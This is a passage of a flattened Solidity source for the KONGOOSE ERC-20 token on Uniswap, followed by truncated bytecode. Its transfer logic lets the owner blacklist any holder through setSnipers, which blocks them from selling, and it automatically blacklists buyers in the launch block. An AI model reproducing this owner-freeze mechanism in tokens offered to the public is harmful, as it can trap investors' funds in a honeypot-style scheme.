amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 9; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMathInt { int256 private constant MIN_INT256 = int256(1) << 255; int256 private constant MAX_INT256 = ~(int256(1) << 255); function mul(int256 a, int256 b) internal pure returns (int256) { int256 c = a * b; require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256)); require((b == 0) || (c / b == a)); return c; } function div(int256 a, int256 b) internal pure returns (int256) { require(b != -1 || a != MIN_INT256); return a / b; } function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } function abs(int256 a) internal pure returns (int256) { require(a != MIN_INT256); return a < 0 ? -a : a; } function toUint256Safe(int256 a) internal pure returns (uint256) { require(a >= 0); return uint256(a); } } library SafeMathUint { function toInt256Safe(uint256 a) internal pure returns (int256) { int256 b = int256(a); require(b >= 0); return b; } } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract KONGOOSE is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; mapping (address => bool) private _isSniper; bool private _swapping; uint256 private _launchTime; address public feeWallet; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; bool public limitsInEffect = true; bool public tradingActive = false; // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch bool public transferDelayEnabled = true; uint256 public buyTotalFees; uint256 private _buyMarketingFee; uint256 private _buyLiquidityFee; uint256 private _buyDevFee; uint256 public sellTotalFees; uint256 private _sellMarketingFee; uint256 private _sellLiquidityFee; uint256 private _sellDevFee; uint256 private _tokensForMarketing; uint256 private _tokensForLiquidity; uint256 private _tokensForDev; /******************/ // exlcude from fees and max transaction amount mapping (address => bool) private _isExcludedFromFees; mapping (address => bool) public _isExcludedMaxTransactionAmount; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping (address => bool) public automatedMarketMakerPairs; event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress); event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event feeWalletUpdated(address indexed newWallet, address indexed oldWallet); event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity); event AutoNukeLP(); event ManualNukeLP(); constructor() ERC20("KONGOOSE", "KONGOOSE") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 buyMarketingFee = 1; uint256 buyLiquidityFee = 1; uint256 buyDevFee = 12; uint256 sellMarketingFee = 1; uint256 sellLiquidityFee = 1; uint256 sellDevFee = 12; uint256 totalSupply = 1e18 * 1e9; maxTransactionAmount = totalSupply * 1 / 100; // 1% maxTransactionAmountTxn maxWallet = totalSupply * 3 / 100; // 3% maxWallet swapTokensAtAmount = totalSupply * 5 / 10000; // 0.05% swap wallet _buyMarketingFee = buyMarketingFee; _buyLiquidityFee = buyLiquidityFee; _buyDevFee = buyDevFee; buyTotalFees = _buyMarketingFee + _buyLiquidityFee + _buyDevFee; _sellMarketingFee = sellMarketingFee; _sellLiquidityFee = sellLiquidityFee; _sellDevFee = sellDevFee; sellTotalFees = _sellMarketingFee + _sellLiquidityFee + _sellDevFee; feeWallet = address(owner()); // set as fee wallet // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(msg.sender, totalSupply); } // once enabled, can never be turned off function enableTrading() external onlyOwner { tradingActive = true; _launchTime = block.timestamp; } // remove limits after token is stable function removeLimits() external onlyOwner returns (bool) { limitsInEffect = false; return true; } // disable Transfer delay - cannot be reenabled function disableTransferDelay() external onlyOwner returns (bool) { transferDelayEnabled = false; return true; } // change the minimum amount of tokens to sell from fees function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool) { require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply."); require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply."); swapTokensAtAmount = newAmount; return true; } function updateMaxTxnAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 1 / 1000) / 1e9, "Cannot set maxTransactionAmount lower than 0.1%"); maxTransactionAmount = newNum * 1e9; } function updateMaxWalletAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 5 / 1000)/1e9, "Cannot set maxWallet lower than 0.5%"); maxWallet = newNum * 1e9; } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } function updateBuyFees(uint256 marketingFee, uint256 liquidityFee, uint256 devFee) external onlyOwner { _buyMarketingFee = marketingFee; _buyLiquidityFee = liquidityFee; _buyDevFee = devFee; buyTotalFees = _buyMarketingFee + _buyLiquidityFee + _buyDevFee; require(buyTotalFees <= 10, "Must keep fees at 10% or less"); } function updateSellFees(uint256 marketingFee, uint256 liquidityFee, uint256 devFee) external onlyOwner { _sellMarketingFee = marketingFee; _sellLiquidityFee = liquidityFee; _sellDevFee = devFee; sellTotalFees = _sellMarketingFee + _sellLiquidityFee + _sellDevFee; require(sellTotalFees <= 15, "Must keep fees at 15% or less"); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function updateFeeWallet(address newWallet) external onlyOwner { emit feeWalletUpdated(newWallet, feeWallet); feeWallet = newWallet; } function isExcludedFromFees(address account) public view returns(bool) { return _isExcludedFromFees[account]; } function setSnipers(address[] memory snipers_) public onlyOwner() { for (uint i = 0; i < snipers_.length; i++) { if (snipers_[i] != uniswapV2Pair && snipers_[i] != address(uniswapV2Router)) { _isSniper[snipers_[i]] = true; } } } function delSnipers(address[] memory snipers_) public onlyOwner() { for (uint i = 0; i < snipers_.length; i++) { _isSniper[snipers_[i]] = false; } } function isSniper(address addr) public view returns (bool) { return _isSniper[addr]; } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(!_isSniper[from], "Your address has been marked as a sniper, you are unable to transfer or swap."); if (amount == 0) { super._transfer(from, to, 0); return; } if (block.timestamp == _launchTime) _isSniper[to] = true; if (limitsInEffect) { if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !_swapping ) { if (!tradingActive) { require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch. if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } // when buy if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } // when sell else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } else if (!_isExcludedMaxTransactionAmount[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if ( canSwap && !_swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { _swapping = true; swapBack(); _swapping = false; } bool takeFee = !_swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; // only take fees on buys/sells, do not take on wallet transfers if (takeFee) { // on sell if (automatedMarketMakerPairs[to] && sellTotalFees > 0) { fees = amount.mul(sellTotalFees).div(100); _tokensForLiquidity += fees * _sellLiquidityFee / sellTotalFees; _tokensForDev += fees * _sellDevFee / sellTotalFees; _tokensForMarketing += fees * _sellMarketingFee / sellTotalFees; } // on buy else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); _tokensForLiquidity += fees * _buyLiquidityFee / buyTotalFees; _tokensForDev += fees * _buyDevFee / buyTotalFees; _tokensForMarketing += fees * _buyMarketingFee / buyTotalFees; } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function _swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function _addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = _tokensForLiquidity + _tokensForMarketing + _tokensForDev; if (contractBalance == 0 || totalTokensToSwap == 0) return; if (contractBalance > swapTokensAtAmount * 20) { contractBalance = swapTokensAtAmount * 20; } // Halve the amount of liquidity tokens uint256 liquidityTokens = contractBalance * _tokensForLiquidity / totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; _swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(_tokensForMarketing).div(totalTokensToSwap); uint256 ethForDev = ethBalance.mul(_tokensForDev).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev; _tokensForLiquidity = 0; _tokensForMarketing = 0; _tokensForDev = 0; if (liquidityTokens > 0 && ethForLiquidity > 0) { _addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, _tokensForLiquidity); } } function withdrawFees() external { payable(feeWallet).transfer(address(this).balance); } receive() external payable {} }
0x60806040526004361061026b5760003560e01c8063892ba40811610144578063c18bc195116100b6578063dd62ed3e1161007a578063dd62ed3e14610793578063e2f45605146107d9578063e884f260146107ef578063f25f4b5614610804578063f2fde38b14610824578063f8b45b051461084457600080fd5b8063c18bc1951461070d578063c876d0b91461072d578063c8c8ebe414610747578063d257b34f1461075d578063d85ba0631461077d57600080fd5b8063a457c2d711610108578063a457c2d71461063e578063a9059cbb1461065e578063b62496f51461067e578063bbc0c742146106ae578063c0246668146106cd578063c17b5b8c146106ed57600080fd5b8063892ba408146105b65780638a8c523c146105d65780638da5cb5b146105eb57806395d89b41146106095780639a7a23d61461061e57600080fd5b806349bd5a5e116101dd5780636a486a8e116101a15780636a486a8e1461050057806370a0823114610516578063715018a61461054c578063751039fc146105615780637571336a146105765780638095d5641461059657600080fd5b806349bd5a5e146104395780634a62bb651461046d5780634fbee193146104875780635e80148e146104c057806366718524146104e057600080fd5b806318160ddd1161022f57806318160ddd14610387578063203e727e146103a657806323b872dd146103c8578063313ce567146103e85780633950935114610404578063476343ee1461042457600080fd5b806306fdde0314610277578063095ea7b3146102a25780630f3a325f146102d257806310d5de531461030b5780631694505e1461033b57600080fd5b3661027257005b600080fd5b34801561028357600080fd5b5061028c61085a565b6040516102999190612660565b60405180910390f35b3480156102ae57600080fd5b506102c26102bd3660046126d5565b6108ec565b6040519015158152602001610299565b3480156102de57600080fd5b506102c26102ed366004612701565b6001600160a01b031660009081526006602052604090205460ff1690565b34801561031757600080fd5b506102c2610326366004612701565b601c6020526000908152604090205460ff1681565b34801561034757600080fd5b5061036f7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b039091168152602001610299565b34801561039357600080fd5b506002545b604051908152602001610299565b3480156103b257600080fd5b506103c66103c136600461271e565b610903565b005b3480156103d457600080fd5b506102c26103e3366004612737565b6109e1565b3480156103f457600080fd5b5060405160098152602001610299565b34801561041057600080fd5b506102c261041f3660046126d5565b610a4a565b34801561043057600080fd5b506103c6610a80565b34801561044557600080fd5b5061036f7f0000000000000000000000006b7a2a7a6096fe9c3b66c19f51d6175cd955250681565b34801561047957600080fd5b50600d546102c29060ff1681565b34801561049357600080fd5b506102c26104a2366004612701565b6001600160a01b03166000908152601b602052604090205460ff1690565b3480156104cc57600080fd5b506103c66104db36600461278e565b610abc565b3480156104ec57600080fd5b506103c66104fb366004612701565b610c0b565b34801561050c57600080fd5b5061039860145481565b34801561052257600080fd5b50610398610531366004612701565b6001600160a01b031660009081526020819052604090205490565b34801561055857600080fd5b506103c6610c92565b34801561056d57600080fd5b506102c2610d06565b34801561058257600080fd5b506103c6610591366004612853565b610d43565b3480156105a257600080fd5b506103c66105b1366004612891565b610d98565b3480156105c257600080fd5b506103c66105d136600461278e565b610e40565b3480156105e257600080fd5b506103c6610ed2565b3480156105f757600080fd5b506005546001600160a01b031661036f565b34801561061557600080fd5b5061028c610f11565b34801561062a57600080fd5b506103c6610639366004612853565b610f20565b34801561064a57600080fd5b506102c26106593660046126d5565b610ffc565b34801561066a57600080fd5b506102c26106793660046126d5565b61104b565b34801561068a57600080fd5b506102c2610699366004612701565b601d6020526000908152604090205460ff1681565b3480156106ba57600080fd5b50600d546102c290610100900460ff1681565b3480156106d957600080fd5b506103c66106e8366004612853565b611058565b3480156106f957600080fd5b506103c6610708366004612891565b6110e1565b34801561071957600080fd5b506103c661072836600461271e565b611184565b34801561073957600080fd5b50600f546102c29060ff1681565b34801561075357600080fd5b50610398600a5481565b34801561076957600080fd5b506102c261077836600461271e565b61124d565b34801561078957600080fd5b5061039860105481565b34801561079f57600080fd5b506103986107ae3660046128bd565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b3480156107e557600080fd5b50610398600b5481565b3480156107fb57600080fd5b506102c26113a4565b34801561081057600080fd5b5060095461036f906001600160a01b031681565b34801561083057600080fd5b506103c661083f366004612701565b6113e1565b34801561085057600080fd5b50610398600c5481565b606060038054610869906128eb565b80601f0160208091040260200160405190810160405280929190818152602001828054610895906128eb565b80156108e25780601f106108b7576101008083540402835291602001916108e2565b820191906000526020600020905b8154815290600101906020018083116108c557829003601f168201915b5050505050905090565b60006108f9338484611532565b5060015b92915050565b6005546001600160a01b031633146109365760405162461bcd60e51b815260040161092d90612926565b60405180910390fd5b633b9aca006103e861094760025490565b610952906001612971565b61095c9190612990565b6109669190612990565b8110156109cd5760405162461bcd60e51b815260206004820152602f60248201527f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060448201526e6c6f776572207468616e20302e312560881b606482015260840161092d565b6109db81633b9aca00612971565b600a5550565b60006109ee848484611657565b610a408433610a3b85604051806060016040528060288152602001612b7d602891396001600160a01b038a1660009081526001602090815260408083203384529091529020549190611f47565b611532565b5060019392505050565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916108f9918590610a3b90866114cc565b6009546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015610ab9573d6000803e3d6000fd5b50565b6005546001600160a01b03163314610ae65760405162461bcd60e51b815260040161092d90612926565b60005b8151811015610c07577f0000000000000000000000006b7a2a7a6096fe9c3b66c19f51d6175cd95525066001600160a01b0316828281518110610b2e57610b2e6129b2565b60200260200101516001600160a01b031614158015610b9857507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316828281518110610b8457610b846129b2565b60200260200101516001600160a01b031614155b15610bf557600160066000848481518110610bb557610bb56129b2565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610bff816129c8565b915050610ae9565b5050565b6005546001600160a01b03163314610c355760405162461bcd60e51b815260040161092d90612926565b6009546040516001600160a01b03918216918316907f5deb5ef622431f0df5a39b72dd556892f68ba42aa0f3aaf0800e166ce866492890600090a3600980546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b03163314610cbc5760405162461bcd60e51b815260040161092d90612926565b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b6005546000906001600160a01b03163314610d335760405162461bcd60e51b815260040161092d90612926565b50600d805460ff19169055600190565b6005546001600160a01b03163314610d6d5760405162461bcd60e51b815260040161092d90612926565b6001600160a01b03919091166000908152601c60205260409020805460ff1916911515919091179055565b6005546001600160a01b03163314610dc25760405162461bcd60e51b815260040161092d90612926565b60118390556012829055601381905580610ddc83856129e3565b610de691906129e3565b6010819055600a1015610e3b5760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420313025206f72206c657373000000604482015260640161092d565b505050565b6005546001600160a01b03163314610e6a5760405162461bcd60e51b815260040161092d90612926565b60005b8151811015610c0757600060066000848481518110610e8e57610e8e6129b2565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610eca816129c8565b915050610e6d565b6005546001600160a01b03163314610efc5760405162461bcd60e51b815260040161092d90612926565b600d805461ff00191661010017905542600855565b606060048054610869906128eb565b6005546001600160a01b03163314610f4a5760405162461bcd60e51b815260040161092d90612926565b7f0000000000000000000000006b7a2a7a6096fe9c3b66c19f51d6175cd95525066001600160a01b0316826001600160a01b03161415610ff25760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000606482015260840161092d565b610c078282611f81565b60006108f93384610a3b85604051806060016040528060258152602001612ba5602591393360009081526001602090815260408083206001600160a01b038d1684529091529020549190611f47565b60006108f9338484611657565b6005546001600160a01b031633146110825760405162461bcd60e51b815260040161092d90612926565b6001600160a01b0382166000818152601b6020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6005546001600160a01b0316331461110b5760405162461bcd60e51b815260040161092d90612926565b6015839055601682905560178190558061112583856129e3565b61112f91906129e3565b6014819055600f1015610e3b5760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420313525206f72206c657373000000604482015260640161092d565b6005546001600160a01b031633146111ae5760405162461bcd60e51b815260040161092d90612926565b633b9aca006103e86111bf60025490565b6111ca906005612971565b6111d49190612990565b6111de9190612990565b8110156112395760405162461bcd60e51b8152602060048201526024808201527f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e20604482015263302e352560e01b606482015260840161092d565b61124781633b9aca00612971565b600c5550565b6005546000906001600160a01b0316331461127a5760405162461bcd60e51b815260040161092d90612926565b620186a061128760025490565b611292906001612971565b61129c9190612990565b8210156113095760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b606482015260840161092d565b6103e861131560025490565b611320906005612971565b61132a9190612990565b8211156113965760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171a92903a37ba30b61039bab838363c9760611b606482015260840161092d565b50600b81905560015b919050565b6005546000906001600160a01b031633146113d15760405162461bcd60e51b815260040161092d90612926565b50600f805460ff19169055600190565b6005546001600160a01b0316331461140b5760405162461bcd60e51b815260040161092d90612926565b6001600160a01b0381166114705760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161092d565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b6000806114d983856129e3565b90508381101561152b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161092d565b9392505050565b6001600160a01b0383166115945760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161092d565b6001600160a01b0382166115